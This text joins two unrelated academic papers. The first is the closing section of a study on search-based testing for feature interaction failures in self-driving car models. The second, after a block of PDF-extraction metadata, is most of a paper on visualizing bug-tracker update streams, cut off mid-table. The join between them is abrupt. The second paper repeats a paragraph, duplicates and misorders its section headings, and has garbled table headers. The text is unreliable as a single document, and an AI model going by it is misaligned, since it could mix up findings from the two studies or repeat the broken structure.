and Cov achieved 100% branch coverage on the function model of the integration component (i.e., IntC) for both SafeDrive1 and SafeDrive2. Hence, Fail and Cov, despite being able to exercise all branches of IntC, perform poorly in terms of the number of feature interaction failures that they can reveal. Further, we note that, among the Hybrid, Fail and Cov test objectives, only Cov was fully achieved by the generated test suites, while the Hybrid and Fail test objectives were only partially achieved. This is expected since, as discussed in Section 3.4, Hybrid and Fail search for violations of every safety requirement at every branch of IntC. Some of these test objectives may be infeasible (uncoverable) because not all safety requirements may be violated at every branch of IntC. However, we cannot know a priori which objectives are infeasible, and hence, we include all of them in our search. We compare the results in Figure 5 using a statistical test. Following existing guidelines [10], we use the non-parametric pairwise Wilcoxon rank sum test [27] and the Vargha-Delaney’s $\hat{A}_{12}$ effect size [71]. Table 2 reports the results of the statistical tests obtained when comparing the number of feature interaction failures uncovered by Hybrid, Fail and Cov, over time for SafeDrive1 and SafeDrive2. As shown in the table, the p-values related to the results produced when the search time ranges between 3h and 12h are all lower than 0.05 and the $\hat{A}_{12}$ statistics show large effect sizes. Hence, the number of feature interaction failures obtained by Hybrid is significantly higher (with a large effect size) than those obtained by Fail and Cov. The answer to RQ is that our proposed test objectives (Hybrid) reveals significantly more feature interaction failures compared to coverage-based and failure-based test objectives. In particular, on average, Hybrid identifies more than twice as many feature interaction failures as the coverage-based and failure-based test objectives. Feedback from domain experts. We conclude this section by summarizing the qualitative feedback from the domain experts from IIE with whom we have been collaborating on the research presented in this paper. During two meetings, we presented to our domain experts four test scenarios revealing different feature interaction failures. The four test scenarios were selected randomly among the ones detected by our approach. Each test scenario $tc$ was presented by showing: (1) a video simulation of $tc$ generated by PreScan based on one of our case study systems (SafeDrive1 or SafeDrive2) and violating one of the safety requirements in Table 1 and (2) a video simulation of $tc$ generated by PreScan based on running only the feature related to the violated requirement. Note that since $tc$ reveals a feature interaction failure, the latter simulation videos (i.e., the ones based on running individual features) do not exhibit any requirements violation. After presenting the simulations, we discussed with our domain experts each failure, its root causes and whether or how it can be addressed by modifying the current feature interaction resolution rules implemented in IntC. We drew the following conclusions from our discussions: (1) Our domain experts agreed with us that the four failures were due to interactions between the features and were not caused by faults in individual features, (2) they confirmed that the failures were not previously known to them and (3) they identified ways to modify or extend the integration component (IntC) to avoid the failures. The simulations and the detailed failure descriptions used in our meetings are available online [2]. 5 RELATED WORK In this section, we discuss and compare with different strands of related research in the areas of testing autonomous cars, and testing and model checking feature-based systems. Testing autonomous cars. Search-based approaches have been used for black-box testing of driver-assistance features [13, 14, 22, 23]. Bühl er and Wegener use a single-objective search algorithm to test a vehicle-to-vehicle braking assistance [23] and an autonomous parking feature [22]. Ben Abdessalem et al. rely on multi-objective search [13] and learnable evolutionary algorithms [14] to generate test cases violating safety requirements of self-driving systems. Recently, Tian et al. [68] proposed a notion of neuron coverage and used it to guide the generation of tests for neural networks used in autonomous cars. None of these approaches study the feature interaction problem in autonomous cars. We advance the research on testing autonomous cars by devising test objectives that specifically detect feature interaction failures. Our test objectives combine existing software testing heuristics (i.e., branch-coverage [38, 55, 69] and failure-based [4, 13, 20, 23]) with our proposed unsafe overriding heuristic. Further, we tailor existing many-objective search algorithms [59, 60] to detect feature interaction failures in our context. Feature interactions in software product lines. In the context of software product lines (SPL), testing approaches are proposed to ensure product implementations satisfy their feature specifications [50, 58, 61]. These approaches largely follow a model-based testing paradigm [6]. For example, they use combinatorial testing to drive test cases from feature models to verify individual products [58, 61]. Our work, in contrast, is model testing [19]. Specifically, we take advantage of the availability of executable function models and test executable function models of the system and its environment. Further, in contrast to the SPL testing work, our approach does not need descriptions of features and their dependencies to be provided. Some SPL approaches are proposed to automatically derive feature dependencies specifying valid feature combinations [7, 36, 46]. For example, interactions between observable feature behaviors (i.e., external feature interactions [7]) have been identified by static analysis of software code [36, 46]. In contrast, our approach detects feature interactions prior to any software coding. It dynamically detects undesired feature interactions by testing function models capturing the SUT and its environment. Feature interaction detection via model checking. Several approaches are proposed to detect feature interactions by model checking requirements or design artifacts against formal specifications [8, 11, 45, 62, 65]. For example, Apel et al. [8] verify features described in a formal feature-oriented language against temporal logic properties [28]. Arora et al. verify features defined as state machines against live sequence charts specifications. Dominguez et al. [45] verify features captured as StateFlows, and Sobotka and J. Novak [65] specify features in timed automata [5]. Similar to our work, these approaches verify early requirements and design models against system requirements. However, our work differs with this line of research in the following ways: First, most of these approaches identify pairwise feature interactions only. We can, however, identify feature interactions between an arbitrary number of features. Second, these techniques model system features only. However, to analyze autonomous cars, we have to capture, in addition to features, system’s sensors and actuators, and the system environment. Third, in contrast to these approaches, our approach does not require additional formal modeling. We take advantage of the availability of function models, which are developed anyway in the CPS domain, to test the system in its environment. Fourth, our function models use numerical and continuous Matlab/Simulink computations to capture dynamics of cars and pedestrians. These models are not, in general, amenable to model checking due to scalability and incom pl i c i ty issues [3, 52, 54]. Therefore, as suggested in the recent research on testing CPS models [3, 52, 54, 78], instead of model checking, we rely on simulation-based testing guided by meta-heuristics to analyze our function models. Feature interaction resolution. Several approaches are proposed to devise resolution strategies to eliminate undesired feature interactions, for example, by proposing specific feature-oriented architectures [44, 70], by statically prioritizing features [41, 77] or using runtime resolution mechanisms [16, 76]. These techniques are complementary to our approach. They can be used to develop the integration component (IntC) to resolve undesired feature interactions, but our approach is still necessary to test the system behavior and to determine if the proposed resolution strategy can eliminate undesired behaviors under different environment conditions. 6 CONCLUSION We presented a technique for detecting feature interaction failures in the context of autonomous cars. Our technique is based on analyzing executable function models typically developed in the cyber physical domain to specify system behaviors at early development stages. Our contributions over prior work include: (1) casting the problem of detecting undesired feature interactions into a search-based testing problem, (2) defining a test guidance that combines existing search-based test objectives with new heuristics specifically aimed at revealing feature interaction failures, (3) tailoring existing many-objective search algorithms [59, 60] to automatically reveal feature interaction failures in a scalable way, and (4) evaluating our approach using two versions of an industrial self-driving system and demonstrating significant improvement in feature interaction failure identification compared to baseline search-based testing approaches. Finally, we note that our research was motivated and carried out in the context of a partnership with IEE. The feedback from domain experts from IEE indicates that the detected feature interaction failures represent real faults in their systems that were not previously identified based on analysis of the system features and their requirements. In future, we plan to devise strategies to use feature interaction failures to localize faults and help engineers effectively debug and refine their feature interaction resolution strategies. ACKNOWLEDGMENTS We gratefully acknowledge the funding from the European Research Council (ERC) under the European Union’s Horizon 2020 research and innovation programme (grant agreement No 694277) and from IEE S.A. Luxembourg.
{"Source-Url": "http://pure.tudelft.nl/ws/portalfiles/portal/45811366/paperASE18N2016pdf.pdf", "len_cl100k_base": 12054, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 47759, "total-output-tokens": 14741, "length": "2e13", "weborganizer": {"__label__adult": 0.00061798095703125, "__label__art_design": 0.0007252693176269531, "__label__crime_law": 0.00044083595275878906, "__label__education_jobs": 0.0022373199462890625, "__label__entertainment": 0.00018167495727539065, "__label__fashion_beauty": 0.0003178119659423828, "__label__finance_business": 0.00043320655822753906, "__label__food_dining": 0.0005140304565429688, "__label__games": 0.0021839141845703125, "__label__hardware": 0.002685546875, "__label__health": 0.000797271728515625, "__label__history": 0.000701904296875, "__label__home_hobbies": 0.0002038478851318359, "__label__industrial": 0.0008883476257324219, "__label__literature": 0.0007410049438476562, "__label__politics": 0.0004215240478515625, "__label__religion": 0.0006499290466308594, "__label__science_tech": 0.2081298828125, "__label__social_life": 0.00017440319061279297, "__label__software": 0.0118560791015625, "__label__software_dev": 0.76123046875, "__label__sports_fitness": 0.0005316734313964844, "__label__transportation": 0.0027751922607421875, "__label__travel": 0.0003440380096435547}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 60410, 0.02495]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 60410, 0.34025]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 60410, 0.89859]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 3835, false], [3835, 10784, null], [10784, 13377, null], [13377, 18503, null], [18503, 22406, null], [22406, 30274, null], [30274, 36442, null], [36442, 43242, null], [43242, 48003, null], [48003, 54912, null], [54912, 54912, null], [54912, 60410, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 3835, true], [3835, 10784, null], [10784, 13377, null], [13377, 18503, null], [18503, 22406, null], [22406, 30274, null], [30274, 36442, null], [36442, 43242, null], [43242, 48003, null], [48003, 54912, null], [54912, 54912, null], [54912, 60410, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 60410, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 60410, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 60410, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 60410, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 60410, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 60410, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 60410, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 60410, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 60410, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 60410, null]], "pdf_page_numbers": [[0, 0, 1], [0, 3835, 2], [3835, 10784, 3], [10784, 13377, 4], [13377, 18503, 5], [18503, 22406, 6], [22406, 30274, 7], [30274, 36442, 8], [36442, 43242, 9], [43242, 48003, 10], [48003, 54912, 11], [54912, 54912, 12], [54912, 60410, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 60410, 0.05618]]}
olmocr_science_pdfs
2024-12-10
2024-12-10
3f9274f2ec49d9b34e3b0791cdc8a115dde6dbbd
Visualization System for Monitoring Bug Update Information Yasufumi TAKAMA*, Member and Takeshi KUROSAWA†, Nonmember SUMMARY This paper proposes a visualization system for supporting the task of monitoring bug update information. Recent growth of the Web has brought us various kinds of text stream data, such as bulletin board systems (BBS), blogs, and social networking services (SNS). Bug update information managed by bug tracking systems (BTS) is also a kind of text stream data. As such text stream data continuously generates new data, it is difficult for users to watch it all the time. Therefore, the task of monitoring text stream data inevitably involves breaks of monitoring, which would cause users to lose the context of monitoring. In order to support such a monitoring task involving breaks, the proposed system employs several visualization techniques. The dynamic relationship between bugs is visualized with animation, and a function of highlighting updated bugs as well as that of replaying a part of the last monitoring time is also proposed in order to help a user grasping the context of monitoring. The result of experiment with test participants shows that highlighting and replay functions can reduce frequency of checking data and monitoring time. key words: information visualization, Web mining, monitoring support, bug tracking system 1. Introduction Recent growth of the Web has brought us various kinds of text stream data, which includes bulletin board systems (BBS), blogs, and social networking services (SNS), etc. Such text stream data become important Web resources, from which we can obtain valuable information. Because of dynamic nature of text stream data, how to treat continuously arriving data is key issue for utilizing it. It is often observed in our daily life including work, study, and private time that we have to check text stream data. For example, we often check Twitter and Facebook periodically in order to examine whether new / interesting information arrive or not. This paper calls the task of checking text stream data as monitoring task. As it is difficult for users to always check continually generated data, a monitoring task inevitably involves breaks, which makes monitoring a difficult task. That is, when users want to check online news, BBS, or Twitter while having a coffee break at office, they have to check data received during their primary jobs in a relatively short time. Furthermore, monitoring new data usually requires context information, e.g., which items were of interest in previous monitoring time, and the reason why those items attracted the users’ attention. Therefore, way of presenting data with context information is important in order to support monitoring task. Information visualization technologies are known to be effective for supporting human to access data. Various kinds of information visualization systems have been developed, and those main targets have been exploratory data analysis (EDA) [1], [2] and information retrieval [3]. On the other hand, to the best of our knowledge, less effort has been made for supporting monitoring task with information visualization technologies. Although peripheral displays [4]–[7] relate with monitoring task as will be noted in Sect. 2.1, those studies have not paid attention to the existence of breaks during monitoring task. This paper proposes a concept of monitoring support for utilizing text stream data. Among various kinds of text stream data available on the Web, this paper focuses on bug update information, and proposes an information visualization system for supporting the task of monitoring it. Bug update information is managed by a bug tracking system (BTS), which continuously sends emails reporting bug update information to developers. Therefore, it is typical text stream data. Furthermore, in the case of open source software (OSS) such as Linux distributions, it includes a large collection of software applications, which are managed by different BTSs. Therefore, a developer of a certain software applications has to access multiple BTSs for collecting bug update information relating with his/her work. From the viewpoint of monitoring support, users of BTS, i.e., developers of OSS in this paper, have an important characteristic: various developers from all over the world, including employees in companies, researchers in universities / research institutions, and volunteers, take part in the development. Therefore, the development goes ahead while one is away from the development. Such a characteristic of OSS development make monitoring task more difficult. Therefore, bug update information of OSS is suitable as the target data for studying the concept of text stream monitoring support. To support monitoring task of bug update information in OSS development, this paper proposes a visualization system that displays bug update information obtained from multiple BTSs. The proposed system visualizes the dynamic relationship between bugs with animation. To help a user grasping the context of monitoring, the system is equipped with a function for highlighting updated bugs as well as that of replaying a part of the last monitoring time. The effectiveness of the system is evaluated through an experiment. with test participants. The experiment supposes the situation where they have to take a break during monitoring. The result shows most of participants could find interesting bugs after a break. In particular, it is shown that the highlight function has statistically significant effect on the efficiency of achieving the task. This paper is an extended version of the paper published in the proceedings of an international conference [8], by adding detailed discussion on the concept of monitoring support for text stream data, analysis of user behaviors using the proposed system, etc. This paper has two contributions. First, monitoring task is proposed as a new task to be supported by information visualization. It is expected that new task will motivate many researchers to study new information visualization techniques and systems. Second, the system proposed in this paper can support OSS developers. The organization of the paper is as follows. Section 2 introduces related work including topic detection and tracking from text stream data, peripheral displays, and bug tracking systems. Section 3 describes the proposed system, which is followed by Sect. 4 that shows experimental results. 2. Related Work 2.1 Peripheral Displays and Monitoring Support Systems As monitoring of text stream data is a difficult task, visualization is expected to be useful for supporting it. However, most of information visualization systems aim to support EDA, which is an approach for analyzing data space from various viewpoints without having predetermined hypothesis. Whereas EDA is supposed to be a primary job for a user, monitoring task is supposed to be done between intervals of such primary jobs. Peripheral displays (ambient displays) have been studied for providing important but non-emergent information without disturbing user’s primary jobs [4]–[7]. Although this concept is expected to be useful for monitoring task, main target of existing systems is data with simple structure, such as stock price [6], weather information [6], [7], and electricity consumption [4]. Monitoring support for software development progress has been studied [9]–[11]. Jazz [9] visualizes information about other developers, such as online/offline and their progress, in an integrated development environment. Augur [10] visualizes the record of file modification for monitoring the progress of collaborative works. Ripley et al. [11] have employed 3D views for visualizing progress of development from the viewpoints of developers and files. However, these systems do not consider breaks during monitoring task. The code_swarm [12] visualizes software project histories as non-interactive video. Although its non-interactive nature would be suitable for monitoring support, it is not designed for monitoring current progress of the development of software. 2.2 Bug Tracking Systems for Open Source Software A BTS is a software application that helps programmers keep track of reported software bugs. It is used by developers and users of software to report bugs and to discuss its cause and how to fix it. When an update is occurred for a bug, the update information is sent to those involved in it via e-mail. A BTS assigns a unique ID to each bug, and manages various kinds of information about bugs such as importance, involved persons, and status. A status of a bug indicates its progress toward fix. Although different set of statuses is used by different BTSs, this paper treats the following 5 statuses. - Unconfirmed: Reported but not confirmed yet. - New: Confirmed to be present. - In Progress: Developer is working on it. - Fixed - Rejected: Unfixable, already reported, out of support, etc. When a bug is reported for the first time, its status is regarded as “Unconfirmed.” After the existence of the reported bug is confirmed, its status becomes “New.” When a developer to fix the bug is assigned, its status becomes “In Progress.” The “Fixed” is assigned to the bug when it is fixed. In the case of a minor bug, its status can be directly changed from “New” to “Fixed.” If the bug cannot or will not be fixed for some reasons, it is rejected. The importance of a bug is determined based on its impact and priority in fixing works. As will be noted in Sect. 3.2, this paper considers three levels of importance: high, medium, and low. As a bug is updated dynamically, affects other bugs in complex manner, and involves many developers, tracking bug update information is not a trivial task. On the other hand, visualization techniques are known to be helpful for users to grasp large-scale, complex data space. From this viewpoint, several studies have applied visualization techniques to data managed by BTSs [1], [13]. The Bug’s Life [13] employs two kinds of visualizations, one of which is for providing overview and another is for detailed information about each bug. The metaphor of a watch is employed for visualizing detailed information about a bug. Tesseract [1] visualizes data from version management system and BTSs in integrated manner. It consists of several panels, which include the panel for showing the activity change of a project, that for file information, and for information about developers and bugs. When a user operates on one of those panels, views of other panels are automatically updated based on the relationship among objects (bugs, developers, files, etc.). Bug Maps [14] provides time series of defects in the classes of object-oriented systems with a set of interactive visualization techniques. Target data is collected from version control platforms such as CVS and SVN in addition. to BTSs. Knab et al. [2] have proposed interactive visualization approach for supporting analysis of data in issue tracking repository, which contains problems reports from a multi-year, multi-site software development project in the consumer electronics domain. It integrates multiple views such as pie chart for process step length and polymeric views for effort measures. However, these systems do not suppose a monitoring task, in the sense that breaks inevitably occurred in the task. The proposed system consists of a data collection module, a data management module, and a monitoring interface. The data collection module continuously receives emails about bug update information from multiple BTSs, and extracts required information from contents of received emails. Extracted data are sent to the data management module, which organizes and stores bug update information. The monitoring interface receives the data to be visualized and extracts required information from contents of received emails about bug update information from multiple BTSs. ### 3. Outline of Monitoring System As noted in Sect. 1, this paper proposes a concept of monitoring support for utilizing text stream data. As one of its applications, an information visualization system targeting bug update information is also proposed. One of important characteristics of the monitoring task is that it inevitably involves breaks. That is, a user has to check text stream data within a short time and go back to their primary jobs. Furthermore, context information tends to be lost during breaks, which makes it difficult to interpret target data. Two types of visualization techniques are mainly employed in the paper: animation for visualizing dynamic change of bug status and highlight for providing context information. Animation is employed for visualizing the status of bugs and relationship with others. Using animation can help a user grasp target data within a short time. Another reason why we employ animation is because it would be suitable for secondary jobs like monitoring. By using animation, the initiative of interaction is given to a system. As a user can start monitoring by just watching a screen with less operations, it is expected to be suitable for a secondary job that should be done while taking work break. Details are described in Sect. 3.2. Highlighting technique is employed for visualizing context information. By combining the replay of part of the last monitoring period, a user can recognize how the state of bugs changed during a break. Details are described in Sect. 3.3. The proposed system consists of a data collection module, a data management module, and a monitoring interface. The data collection module continuously receives emails about bug update information from multiple BTSs, and extracts required information from contents of received emails. Extracted data are sent to the data management module, which organizes and stores bug update information. The monitoring interface receives the data to be visualized from the data management module. The data collection and management modules are implemented with Python. The interface is implemented as a Web application using Processing, HTML, CSS, and JavaScript. Figure 1 shows a screenshot of the monitoring interface. The largest panel in the screenshot is a visualization panel, in which relationship among bugs are visualized. The detail of this panel is described in Sect. 3.2. The right-hand panel shows the detailed information about the bug selected in the visualization panel. The lower panel of the left-hand is a control panel, which is used for various operations, such as start/ pause of monitoring, selection of dataset to be monitored, and setting of filtering conditions. The visualization panel is implemented as a Java applet with Processing, and other parts are implemented with JavaScript. ### 3.1 Outline of Monitoring System #### 3.2 Visualization of Bug Status The status of a bug changes as noted in Sect. 2.2, which leads to dynamic change of relationship among bugs. When monitoring bug update information, it is important to grasp such dynamic changes. The visualization panel visualizes the status of bugs and those relationships with animation. Let the time period for monitoring (called monitoring period hereinafter) be \([t_{\text{start}}, t_{\text{end}}]\), i.e., bug update information reported between this time period is visualized. Usually, \(t_{\text{start}}\) is set to the ending time of the last monitoring task, and \(t_{\text{end}}\) is set to the current time. Let \(t_{\text{monitor}} \in [t_{\text{start}}, t_{\text{end}}]\) be the time at which the status of bugs and those relationships are visualized. When monitoring is started, the visualization panel visualizes the relationship among bugs with animation, by changing \(t_{\text{monitor}}\) from \(t_{\text{start}}\) toward \(t_{\text{end}}\). When visualizing bug status at \(t_{\text{monitor}}\), bugs newly reported at that time are appeared on the left edge of the visualization panel. The statuses of existing bugs are also updated. Details are described below. According to the discussion in Sect. 2.2, this paper focuses on the following three factors, which are important for monitoring bug update information. 1. Status of a bug including update frequency and progress toward fix. 2. Persons involved in a bug. 3. Relationship among bugs. Regarding (1), each bug is represented as a node in the visualization panel. The color of a node indicates the status of the corresponding bug. Figure 2 shows the color assignment, which is determined based on existing study [13] and... the color assignment commonly used for describing OSS development information. The importance of a bug is represented by its node’s brightness: more important bug is represented as a brighter node. A node is bi-cylindrical as shown in Fig. 3. It consists of 3 layers: core, an inner circle, and an outer circle. The layer between outer and inner circle is colored with faint red, and that between inner circle and core is colored with red. Although core is also colored with red, a blank is inserted between core and inner circle. The difference between radius of inner circle and core represents the progress toward fix, and the difference between radius of outer and inner circles represents its update frequency. Figure 3 shows nodes of different status. The difference between radius of inner circle and core is almost zero in Fig. 3 (a) and (b), while it is relatively large in (c). Regarding difference between outer and inner circle, the difference in Fig. 3 (a) is small, while it is large in Fig. 3 (b) and (c). Therefore, a node shown in Fig. 3 (a) indicates the corresponding bug is not updated frequently, and thus little progress. A bug corresponding to the node of Fig. 3 (b) is being updated frequently but little progress. On the other hand, the node of Fig. 3 (c) indicates the bug is also being updated frequently and going smoothly toward fix. Figure 4 shows an example of the status change of a bug (ID:658741). Starting from “New” status (Fig. 4 (a)), its status transits to “In Progress” (Fig. 4 (b)) and “Fixed” (Fig. 4 (c)). However, its status is back to “New” as the bug fix was incomplete (Fig. 4 (d)). To visualize the persons involved in a bug, this paper employs a swarm-like animation. According to the Gestalt principle of common fate, objects moved in a synchronized fashion are perceived as related by a human. The proposed method lets nodes move toward similar directions if those involved persons are similar. When visualizing at $t_{\text{monitor}}$, a node newly appeared at that time is assigned to left edge of the visualization panel, and move to the right as time progresses. The position on vertical axis are determined so that nodes appeared at the same time cannot be overlapped each other. The angle $\theta_i^b$, a bug $b_i$’s moving direction, is determined as Eq. (1), where $f_{ij}$ is the frequency of the person $u_j$ being involved in $b_i$. The $\theta_i^u$ is the moving direction assigned to $u_j$, which is determined by applying SHA-256 (Secure Hash Algorithm 256-bit) to some unique ID of $u_j$, such as email address. $$\theta_i^b = \frac{\sum_j f_{ij} \theta^u_j}{\sum_j f_{ij}}$$ $$v_i = \frac{v_x(s_i)}{\cos \theta_i^b}$$ In Eq. (2), $v_x(s_i)$ is horizontal velocity, which is determined by $s_i$ (status of $b_i$). A bug with status of “Unconfirmed,” “New,” or “In progress” moves slow, and rejected bug moves fast. A fixed bug has medium speed. This setting allows unimportant bugs go outside the visualization panel quickly. Figure 5 illustrates how nodes form a swarm. When the same persons are involved in several bugs, those bugs have the same directions (Fig. 5 (a)). As time progresses, when another person, of which direction is indicated as an arrow pointing to upper right in Fig. 5 (b), is involved in 2 of those bugs, the direction becomes different from that of the remaining bugs (Fig. 5 (c)). Relationship between bugs is represented as an edge between those in the visualization panel. In this paper, an edge is drawn between nodes having some relationship, such as dependence and block relationship. The information about related bugs is obtained from BTS. However, it is difficult to find several groups of related bugs if related bugs are distributed over the panel, even though those are connected by edges. In order to make related bugs form a cluster, the direction and velocity of a node is modified as follows. From a set of bugs connected with edges (denoted as $S$), the following two bugs are selected. - $b_p$: A bug, of which the corresponding node is located at the rightmost on the visualization panel in $S$. - $b_v$: A bug having the most serious status in $S$. The order of serious status is “In Progress” (the most serious), “New,” “Unconfirmed,” “Rejected,” and “Fixed,” which is determined from developer’s viewpoint. If more than one bug have the most serious status, the bug (node) having the biggest inner circle among those is selected as $b_v$. Let the position of a bug $b_i$ on the visualization panel be $x_i$. If the distance between nodes of $b_p$ and $b_i$ is equal to or greater than the predefined threshold, the direction and velocity of $b_i$ are modified by Eq. (3) and Eq. (4), respectively. If the distance is less than the threshold, $b_i$ has the same direction and velocity as $b_v$. In Eq. (4), $\beta > 1$ is the coefficient (it is set to 2.0 in the experiment in Sect. 4). $$\theta_i^p = \arctan(x_p - x_i) \quad (3)$$ $$v_i = \beta v_v \quad (4)$$ Figure 6 shows the formation of connected nodes. Five nodes are connected in the figure, among them blue node corresponds to $b_p$, and red node corresponds to $b_v$. While connected nodes were initially distributed over visualization panel (Fig. 6 (a)) because those appeared at different times, those are gradually forming a cluster on the panel (Fig. 6 (b), (c)). Showing related nodes forming a cluster can attract user’s attention, which is expected to help users recognize the group of related bugs and its evolution. ### 3.3 Visualization for Context Information As most of OSS developers are supposed to check BTSs between intervals (work breaks) of their primary jobs, a monitoring task inevitably involves breaks. It is supposed that developers are interested in bugs, of which status has been changed after the last monitoring period (i.e. while doing primary jobs). For example, bugs reopened several times are assumed to be serious [13]. In order to find such interesting bugs efficiently, it is important to know the difference between current situation and that of last monitoring period. In other words, keeping context beyond breaks is important for monitoring task. From this viewpoint, this paper proposes the following functions for providing context information. - Highlighting interesting bugs. - Replaying animation of part of the last monitoring period. The role of highlight function is to make interesting bugs stand out. As mentioned above, this paper defines an interesting bug as that of which status have been changed after the last monitoring period. In order to highlight such interesting bugs, this paper combines filtering function and onion skin visualization. For highlighting interesting bugs, those without any updates after the last monitoring period are filtered out. In the visualization panel, nodes of filtered out bugs are represented with minimal size. In Fig. 7 (a), all nodes except lower-right one corresponds to filtered out bugs. Figure 7 (b) shows onion-skin visualization, which is used for visualizing a trajectory indicating past positions and status (color) of a bug. Nodes in trajectory part are displayed with minimal size. This is applied to bugs with one or more updates after last monitoring period. For example, it is seen from Fig. 7(b) that moving direction has been changed twice, which means the change of involved persons. The change of color from green to red means its recent change of status from “Fixed” to “New.” As noted in Sect. 3.2, \( t_{\text{start}} \) of monitoring period is usually set to ending timestamp of the last monitoring period. Instead of that, when replaying part of the last monitoring period \( ([t_{\text{start}}, t_{\text{end}}']) \), \( t_{\text{start}} \) is set to within it. Replaying part of the last monitoring period is expected to be helpful for users to recall the situation of the last monitoring period, which would clarify the changes occurred after that. However, it would lead a user to misreading if a user confuses last and current monitoring periods. In order to avoid such confusion, border color of the visualization panel is changed between last and current monitoring periods. 4. Experiment 4.1 Experimental Settings An experiment is conducted to evaluate the effectiveness of the proposed system for user’s monitoring task. Although the proposed method employs several visualization techniques, the experiment focuses on the effects of highlighting function and replay on participants’ performance. Test participants are asked to identify target bugs under a circumstance that simulates monitoring with breaks. In the experiment, target bugs to be identified by test participants are defined as those of which status are changed both in previous and target time periods. Focusing bugs, of which status was defined as those of which status are changed both in previous time period, means that test participants have to remind the monitoring context of the previous period. Twelve graduate / undergraduate students in Engineering took part in the experiment with the following procedures. 1. Monitoring: Checks previous time period using the proposed system. 2. Break: Types English sentences (note that all participants are Japanese). 3. Monitoring: Checks target time period and find one of target bugs using the proposed system. Table 1 shows the used datasets, which are collected from actual BTSs. A dataset A collects bug information about Mozilla Gecko’s Core (components: Canvas:2D, Canvas:WebGL, SVG, Video/Audio), B collects those about Plugins of the Core, C is about Evince, Poppler, and cairo. A dataset D collects bug information about LibreOffice (Drawing and Spreadsheet). The number of target bugs in each dataset is also shown in Table 1. <table> <thead> <tr> <th>ID</th> <th>BTS</th> <th>Period</th> <th># of nodes (target)</th> </tr> </thead> <tbody> <tr> <td>A</td> <td>Mozilla</td> <td>2011.7.23-8.23</td> <td>232(4)</td> </tr> <tr> <td>B</td> <td>Mozilla</td> <td>2011.4.28-5.28</td> <td>201(1)</td> </tr> <tr> <td>C</td> <td>Freedesktop, Fedora, Ubuntu</td> <td>2011.6.26-7.26</td> <td>379(5)</td> </tr> <tr> <td>D</td> <td>Freedesktop</td> <td>2011.8.22-9.22</td> <td>161(1)</td> </tr> </tbody> </table> Every dataset is divided into two time periods, such as follows. In step 1, a participant can check the previous time period only once. - Target time period: The latest 24 hours. - Previous time period: Other than target time period. During a break (i.e. step 2), a participant engages in English type for 5 minutes, of which purpose is to simulate the situation where a participant loses the context of monitoring because of his/her primary job. A test participant can finish step 3 when s/he can find one of target bugs. In this step, following two settings are considered regarding functions proposed in Sect. 3.3. - Replay of part of previous time period: with or without - Highlight (filtering and onion skin visualization): with or without In the condition with replay, \( t_{\text{start}} \) is set to 48 hours before target time period. Therefore, total time period to be checked when using replay is 72 hours. With the combination of these two settings, 4 conditions are used in the experiment. The combination of datasets and conditions as well as its execution order are different from participant to participant, which satisfies the following conditions. - Each participant is asked to conduct the experiment with all of 4 datasets by different conditions. - Each dataset is analyzed 3 times by each condition. - Each condition is executed 3 times in each execution order (from the first to the 4th). Table 2 shows combination of conditions and datasets \( \{A,B,C,D\} \) and the order for each participant. In the table, ‘R’ and ‘H’ indicate the replay and highlight function are applied, respectively. Although there is the possibility that the results of the experiment contains order effects, the result of the paper is preliminary, and further analysis is still necessary in future. In step 3, a participant is allowed to check (replay) target time period (and part of previous time period in case of replay condition) any number of times until s/he can identify ![Image](image_url) Table 2 Combination / order of conditions and datasets. <table> <thead> <tr> <th>Participants</th> <th>1st</th> <th>2nd</th> <th>3rd</th> <th>4th</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>A-R</td> <td>B</td> <td>C-RH</td> <td>D-H</td> </tr> <tr> <td>2</td> <td>A-RH</td> <td>B-H</td> <td>C</td> <td>D-R</td> </tr> <tr> <td>3</td> <td>A-H</td> <td>B-RH</td> <td>C-R</td> <td>D</td> </tr> <tr> <td>4</td> <td>A</td> <td>B-R</td> <td>C-H</td> <td>D-RH</td> </tr> <tr> <td>5</td> <td>D</td> <td>C-R</td> <td>B-H</td> <td>A-RH</td> </tr> <tr> <td>6</td> <td>D-R</td> <td>C</td> <td>B-RH</td> <td>A-H</td> </tr> <tr> <td>7</td> <td>D-RH</td> <td>C-H</td> <td>B</td> <td>A-R</td> </tr> <tr> <td>8</td> <td>D-H</td> <td>C-RH</td> <td>B-R</td> <td>A</td> </tr> <tr> <td>9</td> <td>D</td> <td>B-R</td> <td>C-H</td> <td>A-RH</td> </tr> <tr> <td>10</td> <td>D-R</td> <td>B</td> <td>C-RH</td> <td>A-H</td> </tr> <tr> <td>11</td> <td>D-RH</td> <td>B-H</td> <td>C</td> <td>A-R</td> </tr> <tr> <td>12</td> <td>D-H</td> <td>B-RH</td> <td>C-R</td> <td>A</td> </tr> </tbody> </table> Table 3 Frequency of checking data in step 3. <table> <thead> <tr> <th>Participants</th> <th>Without Highlight</th> <th>With Highlight</th> </tr> </thead> <tbody> <tr> <td></td> <td>No-replay</td> <td>Replay</td> </tr> <tr> <td></td> <td>No-replay</td> <td>Replay</td> </tr> <tr> <td>1</td> <td>4</td> <td>48*</td> </tr> <tr> <td>2</td> <td>3</td> <td>5</td> </tr> <tr> 